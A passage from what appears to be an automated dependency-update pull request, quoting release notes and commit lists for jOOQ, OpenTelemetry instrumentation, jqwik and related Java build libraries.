href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19920\"\u003e#19920\u003c/a\u003e - Bad data type rendered for SQLDataType.LONGVARBINARY in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19924\"\u003e#19924\u003c/a\u003e - Work around Teradata JDBC driver issue where DatabaseMetaData::getColumns may produce a null type name\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19928\"\u003e#19928\u003c/a\u003e - Nested rows within MULTISET projections do not apply JSON or XML cast necessary for serialising certain data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19941\"\u003e#19941\u003c/a\u003e - DSL::isoDayOfWeek renders wrong SQL expression for MariaDB and MySQL when used in arithmetic operations\u003c/p\u003e\n\u003ch2\u003e3.19.32\u003c/h2\u003e\n\u003ch1\u003eVersion 3.20.13 - April 16, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.20 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/983be04bfe689e9ba00cbafac92f4a36c7e05e4d\"\u003e\u003ccode\u003e983be04\u003c/code\u003e\u003c/a\u003e Release 3.19.34\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/f874027834833354d35992196c9b2b0b7f2b6e9a\"\u003e\u003ccode\u003ef874027\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/09c7f2b7097c6a4aaefdebb14d25211d9d332e92\"\u003e\u003ccode\u003e09c7f2b\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/191ea40c2ab42ce46270de0ec85ecb063f738ad8\"\u003e\u003ccode\u003e191ea40\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19962\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/6fee84fa55356e38d4db2b647cbf72baa670c8de\"\u003e\u003ccode\u003e6fee84f\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/b602ce8131008aa6ddfb37339183837b3a8fdd27\"\u003e\u003ccode\u003eb602ce8\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19948\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/63ec81894526f62a7f4fb21b34211b4cd0579f3c\"\u003e\u003ccode\u003e63ec818\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/7da00449de35dc178eba36ee82e395a8ce96cf62\"\u003e\u003ccode\u003e7da0044\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19954\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/ab16ab1e4f6923c3f3fd21f2a40e549c7f307d86\"\u003e\u003ccode\u003eab16ab1\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/15a37db53aaf526f5536e02f4d16f51b185b21be\"\u003e\u003ccode\u003e15a37db\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19943\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jOOQ/jOOQ/compare/version-3.19.31...version-3.19.34\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jooq:jooq-codegen` from 3.19.31 to 3.19.34\n\nUpdates `org.flywaydb:flyway-core` from 12.4.0 to 12.6.2\n\nUpdates `org.flywaydb:flyway-database-postgresql` from 12.4.0 to 12.6.2\n\nUpdates `org.flywaydb.flyway` from 12.4.0 to 12.6.2\n\nUpdates `org.flywaydb:flyway-database-postgresql` from 12.4.0 to 12.6.2\n\nUpdates `io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0` from 2.21.0-alpha to 2.28.1-alpha\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/releases\"\u003eio.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 2.28.0\u003c/h2\u003e\n\u003cp\u003eThis release targets the OpenTelemetry SDK 1.62.0.\u003c/p\u003e\n\u003cp\u003eNote that many artifacts have the \u003ccode\u003e-alpha\u003c/code\u003e suffix attached to their version number, reflecting that they will continue to have breaking changes. Please see \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/VERSIONING.md#opentelemetry-java-instrumentation-versioning\"\u003eVERSIONING.md\u003c/a\u003e for more details.\u003c/p\u003e\n\u003ch3\u003e⚠️ Breaking changes to non-stable APIs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved the obsolete internal \u003ccode\u003eClassInjector\u003c/code\u003e/\u003ccode\u003eProxyInjectionBuilder\u003c/code\u003e API used by the old \u003ccode\u003eExperimentalInstrumentationModule.injectClasses(ClassInjector)\u003c/code\u003e path; use \u003ccode\u003eExperimentalInstrumentationModule.exposedClassNames()\u003c/code\u003e instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18112\"\u003e#18112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated non-stable API methods and the deprecated \u003ccode\u003eopentelemetry-runtime-telemetry-java8\u003c/code\u003e and \u003ccode\u003eopentelemetry-runtime-telemetry-java17\u003c/code\u003e library aliases. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18136\"\u003e#18136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved the previously deprecated \u003ccode\u003ecaptureEventName\u003c/code\u003e library builder setting from the logback-appender-1.0 and log4j-appender-2.17 \u003ccode\u003eOpenTelemetryAppender\u003c/code\u003e, and the corresponding \u003ccode\u003eotel.instrumentation.{logback-appender,log4j-appender,jboss-logmanager}.experimental.capture-event-name\u003c/code\u003e javaagent properties. Use the \u003ccode\u003eotel.event.name\u003c/code\u003e key in MDC / context data / key-value pairs / Logstash markers / structured arguments instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18223\"\u003e#18223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated experimental config properties \u003ccode\u003eotel.instrumentation.http.client.experimental.redact-query-parameters\u003c/code\u003e and \u003ccode\u003eotel.instrumentation.common.experimental.db-sqlcommenter.enabled\u003c/code\u003e; use \u003ccode\u003eotel.instrumentation.sanitization.url.experimental.sensitive-query-parameters\u003c/code\u003e and \u003ccode\u003eotel.instrumentation.common.db.experimental.sqlcommenter.enabled\u003c/code\u003e instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18229\"\u003e#18229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved the deprecated \u003ccode\u003eotel.instrumentation.servlet.experimental.add-trace-id-request-attribute\u003c/code\u003e property; use \u003ccode\u003eotel.instrumentation.servlet.experimental.trace-id-request-attribute.enabled\u003c/code\u003e instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18237\"\u003e#18237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReshaped the ktor \u003ccode\u003eExperimental\u003c/code\u003e helper from a class with a \u003ccode\u003ecompanion object\u003c/code\u003e to a top-level \u003ccode\u003eobject\u003c/code\u003e. Kotlin source callers (\u003ccode\u003eExperimental.emitExperimentalTelemetry(...)\u003c/code\u003e) are unaffected, but pre-compiled consumers must be recompiled against the new artifact. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18343\"\u003e#18343\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🚫 Deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eotel.instrumentation.jaxws-cxf-3.0.enabled\u003c/code\u003e in favor of \u003ccode\u003eotel.instrumentation.jaxws-2.0-cxf-3.0.enabled\u003c/code\u003e, and \u003ccode\u003eotel.instrumentation.jaxws-metro-2.2.enabled\u003c/code\u003e in favor of \u003ccode\u003eotel.instrumentation.jaxws-2.0-metro-2.2.enabled\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18184\"\u003e#18184\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🌟 New javaagent instrumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd Apache Thrift 0.13 instrumentation for RPC client and server spans and metrics. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18405\"\u003e#18405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🌟 New library instrumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd Apache Thrift 0.13 library instrumentation for RPC client and server spans and metrics. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18405\"\u003e#18405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📈 Enhancements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCouchbase 3.1 javaagent instrumentation now emits the more conventional instrumentation scope name \u003ccode\u003eio.opentelemetry.couchbase-3.1\u003c/code\u003e instead of \u003ccode\u003eio.opentelemetry.javaagent.couchbase-3.1\u003c/code\u003e when \u003ccode\u003eotel.instrumentation.common.v3-preview\u003c/code\u003e is enabled. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18426\"\u003e#18426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWicket resource requests now use the resource reference class name in the server span name when \u003ccode\u003eotel.instrumentation.common.v3-preview\u003c/code\u003e is enabled. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18312\"\u003e#18312\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18775\"\u003e#18775\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDecide whether javaagent helper classes are injected into the application class loader or isolated based on the advice classes used by an instrumentation. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/17815\"\u003e#17815\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove cgroup v2 container ID detection for Podman by supporting additional \u003ccode\u003emountinfo\u003c/code\u003e layouts and warning when multiple candidate IDs are found. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18272\"\u003e#18272\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🛠️ Bug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix Pekko HTTP and Tapir server route tracking so server span names and \u003ccode\u003ehttp.route\u003c/code\u003e preserve the most specific matched route across nested directives, exceptions, and timeouts; this may change span names and \u003ccode\u003ehttp.route\u003c/code\u003e values for affected routes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/16390\"\u003e#16390\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix context loss in Finagle HTTP instrumentation across Netty-to-Finagle request conversion and \u003ccode\u003etwitter-util\u003c/code\u003e Future/Promise asynchronous boundaries. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/17867\"\u003e#17867\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix virtual-thread pinning caused by weak-map stale-entry cleanup running on virtual threads; cleanup now runs from the background thread instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18113\"\u003e#18113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAvoid linking batch consumer spans to the ambient consumer span when records or messages have no propagation headers. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18154\"\u003e#18154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eresetOnEachOperator()\u003c/code\u003e for Reactor 3.1 so it also removes the scheduler hook when instrumentation is disabled. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18258\"\u003e#18258\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnd spans when RxJava 1.0 subscriptions throw synchronously. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18265\"\u003e#18265\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Spring Boot service version auto-detection so \u003ccode\u003eMETA-INF/build-info.properties\u003c/code\u003e is read from the jar root instead of \u003ccode\u003eBOOT-INF/classes/\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18292\"\u003e#18292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClear the Netty \u003ccode\u003eVirtualField\u003c/code\u003e after finishing a response in the Netty 3.8 server instrumentation. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18358\"\u003e#18358\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eJarDetails\u003c/code\u003e to close \u003ccode\u003eJarFile\u003c/code\u003e handles while reading archives and embedded jars, preventing resource leaks during runtime telemetry collection. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18385\"\u003e#18385\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix a \u003ccode\u003eNullPointerException\u003c/code\u003e when converting an agent context without an associated application context to an application context. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18444\"\u003e#18444\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Ktor server instrumentation to prevent OpenTelemetry context leaks caused by incomplete coroutine context restoration. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18456\"\u003e#18456\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Vert.x sub-router \u003ccode\u003ehttp.route\u003c/code\u003e attributes by prepending the mount point to the relative route path; this may change server span names and \u003ccode\u003ehttp.route\u003c/code\u003e values for mounted sub-routes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18462\"\u003e#18462\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix oshi metrics startup and RSS memory reporting with \u003ccode\u003eoshi\u003c/code\u003e 7.0.0. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18478\"\u003e#18478\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Play MVC and Play WS instrumentation on Play 3.x applications. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18624\"\u003e#18624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRecord an error receive span when a wrapped Kafka consumer \u003ccode\u003epoll()\u003c/code\u003e fails. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18625\"\u003e#18625\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/CHANGELOG.md\"\u003eio.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003eUnreleased\u003c/h2\u003e\n\u003ch2\u003eVersion 2.28.1 (2026-05-20)\u003c/h2\u003e\n\u003cp\u003eThis release targets the OpenTelemetry SDK 1.62.0.\u003c/p\u003e\n\u003cp\u003eNote that many artifacts have the \u003ccode\u003e-alpha\u003c/code\u003e suffix attached to their version\nnumber, reflecting that they will continue to have breaking changes. Please see\n\u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/VERSIONING.md#opentelemetry-java-instrumentation-versioning\"\u003eVERSIONING.md\u003c/a\u003e\nfor more details.\u003c/p\u003e\n\u003ch3\u003e🛠️ Bug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix javaagent startup failures when declarative configuration uses bundled contrib components,\nsuch as the rule-based routing sampler.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18813\"\u003e#18813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eVersion 2.28.0 (2026-05-19)\u003c/h2\u003e\n\u003cp\u003eThis release targets the OpenTelemetry SDK 1.62.0.\u003c/p\u003e\n\u003cp\u003eNote that many artifacts have the \u003ccode\u003e-alpha\u003c/code\u003e suffix attached to their version\nnumber, reflecting that they will continue to have breaking changes. Please see\n\u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/VERSIONING.md#opentelemetry-java-instrumentation-versioning\"\u003eVERSIONING.md\u003c/a\u003e\nfor more details.\u003c/p\u003e\n\u003ch3\u003e⚠️ Breaking changes to non-stable APIs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved the obsolete internal \u003ccode\u003eClassInjector\u003c/code\u003e/\u003ccode\u003eProxyInjectionBuilder\u003c/code\u003e API used by the old\n\u003ccode\u003eExperimentalInstrumentationModule.injectClasses(ClassInjector)\u003c/code\u003e path; use\n\u003ccode\u003eExperimentalInstrumentationModule.exposedClassNames()\u003c/code\u003e instead.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18112\"\u003e#18112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated non-stable API methods and the deprecated\n\u003ccode\u003eopentelemetry-runtime-telemetry-java8\u003c/code\u003e and \u003ccode\u003eopentelemetry-runtime-telemetry-java17\u003c/code\u003e library\naliases.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18136\"\u003e#18136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved the previously deprecated \u003ccode\u003ecaptureEventName\u003c/code\u003e library builder setting from the\nlogback-appender-1.0 and log4j-appender-2.17 \u003ccode\u003eOpenTelemetryAppender\u003c/code\u003e, and the corresponding\n\u003ccode\u003eotel.instrumentation.{logback-appender,log4j-appender,jboss-logmanager}.experimental.capture-event-name\u003c/code\u003e\njavaagent properties. Use the \u003ccode\u003eotel.event.name\u003c/code\u003e key in MDC / context data / key-value pairs /\nLogstash markers / structured arguments instead.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18223\"\u003e#18223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated experimental config properties\n\u003ccode\u003eotel.instrumentation.http.client.experimental.redact-query-parameters\u003c/code\u003e and\n\u003ccode\u003eotel.instrumentation.common.experimental.db-sqlcommenter.enabled\u003c/code\u003e; use\n\u003ccode\u003eotel.instrumentation.sanitization.url.experimental.sensitive-query-parameters\u003c/code\u003e and\n\u003ccode\u003eotel.instrumentation.common.db.experimental.sqlcommenter.enabled\u003c/code\u003e instead.\n(\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18229\"\u003e#18229\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `net.jqwik:jqwik` from 1.9.3 to 1.10.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jqwik-team/jqwik/releases\"\u003enet.jqwik:jqwik's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRounding Up JUnit Platform Version 1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eThis will probably be the last release of Jqwik using JUnit Platform version 1.x.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eUpcoming releases, if ever realised, will be built on JUnit Platform 6 and thus Java \u0026gt;= 21.\u003c/p\u003e\n\u003ch4\u003eNew and Enhanced Features\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdded \u003ca href=\"https://jqwik.net/docs/1.10.0/user-guide.html#note-to-coding-agents-and-alike\"\u003eparagraph about intended AI usage\u003c/a\u003e to user guide\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMade \u003ccode\u003e@NotBlank\u003c/code\u003e configurator compatible with UTF-8 whitespace.\nSee \u003ca href=\"https://redirect.github.com/jqwik-team/jqwik/issues/663\"\u003eissue 663\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eBreaking Changes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eUse of jqwik \u0026gt;= 1.10 with coding agents is strongly discouraged.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDependency Upgrades and Bug Fixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eUpgraded to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003eUpgraded to JUnit Platform 1.14.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/7d7e9baaa5f46ed4122a5ff22edfbca81a955778\"\u003e\u003ccode\u003e7d7e9ba\u003c/code\u003e\u003c/a\u003e Set release version 1.10.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/37178a1b3068a4ef250a975245a1c5498b802f21\"\u003e\u003ccode\u003e37178a1\u003c/code\u003e\u003c/a\u003e Made NotBlank UTF-8 whitespace compatible\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/b9a8d81d07242f81bf669129bf2c462751375842\"\u003e\u003ccode\u003eb9a8d81\u003c/code\u003e\u003c/a\u003e Minor formatting tweak in user guide\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/2aaae09f6c4146a73b12001cab6d4c582097610d\"\u003e\u003ccode\u003e2aaae09\u003c/code\u003e\u003c/a\u003e Updated TODOs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/6fe00a2c473469186ba29dcf0986600db9b8dc22\"\u003e\u003ccode\u003e6fe00a2\u003c/code\u003e\u003c/a\u003e Fixed dokka generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/1b87f9d87440ca253fff770b09f1bc8c92665fe0\"\u003e\u003ccode\u003e1b87f9d\u003c/code\u003e\u003c/a\u003e Started to fix documentation generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/9dddcb5226dc925061332a30360658253c3a2338\"\u003e\u003ccode\u003e9dddcb5\u003c/code\u003e\u003c/a\u003e Added message for AI coding agents.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/310408da1b01c898afbc1f2695f5bcd9cf690312\"\u003e\u003ccode\u003e310408d\u003c/code\u003e\u003c/a\u003e Removed Java versions 26 from build matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/ca846a0266ebbb07e1627be0069f691a3ade4d67\"\u003e\u003ccode\u003eca846a0\u003c/code\u003e\u003c/a\u003e Took Java versions 25, 26 to build matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jqwik-team/jqwik/commit/13ed02ac5e6c5a346db060d8635152793f773f1c\"\u003e\u003ccode\u003e13ed02a\u003c/code\u003e\u003c/a\u003e Took Java versions \u0026lt; 17 out of build matrix\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jqwik-team/jqwik/compare/1.9.3...1.10.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.diffplug.spotless` from 8.4.0 to 8.5.1\n\nUpdates `org.jooq.jooq-codegen-gradle` from 3.19.31 to 3.19.34\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jOOQ/jOOQ/releases\"\u003eorg.jooq.jooq-codegen-gradle's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.19.34\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.34 - May 12, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19946\"\u003e#19946\u003c/a\u003e - KotlinGenerator produces var instead of val when generating \u0026lt;immutablePojos/\u0026gt; for embeddables\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19951\"\u003e#19951\u003c/a\u003e - Column mismatch between MERGE .. WHEN NOT MATCHED THEN INSERT and VALUES clauses when there are stored client side computed columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19957\"\u003e#19957\u003c/a\u003e - Upgrade pgjdbc to 42.7.11 to mitigate CVE-2026-42198\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19960\"\u003e#19960\u003c/a\u003e - Client side stored computed column expressions are ignored in MERGE .. WHEN MATCHED THEN UPDATE clause\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19965\"\u003e#19965\u003c/a\u003e - Missing parentheses around RATIO_TO_REPORT window function emulation\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19969\"\u003e#19969\u003c/a\u003e - Missing parentheses around some interval arithmetic expressions in Exasol, Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19977\"\u003e#19977\u003c/a\u003e - ClassCastException when using EmbeddableRecords in Field.eq(any(array))\u003c/p\u003e\n\u003ch2\u003e3.19.33\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.33 - May 5, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19874\"\u003e#19874\u003c/a\u003e - Render MATERIALIZED keyword for YugabyteDB when using asMaterialized()\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19878\"\u003e#19878\u003c/a\u003e - Regression when using Loader batch insertion with StatementType.STATIC_STATEMENT\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19882\"\u003e#19882\u003c/a\u003e - Statements executed from ExecuteContext::connection will eagerly release the connection to the ConnectionProvider\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19888\"\u003e#19888\u003c/a\u003e - DataAccessException::sqlStateClass returns OTHER instead of C22_DATA_EXCEPTION for Oracle data problems related to CHAR vs BYTE string columns\n\u003ca 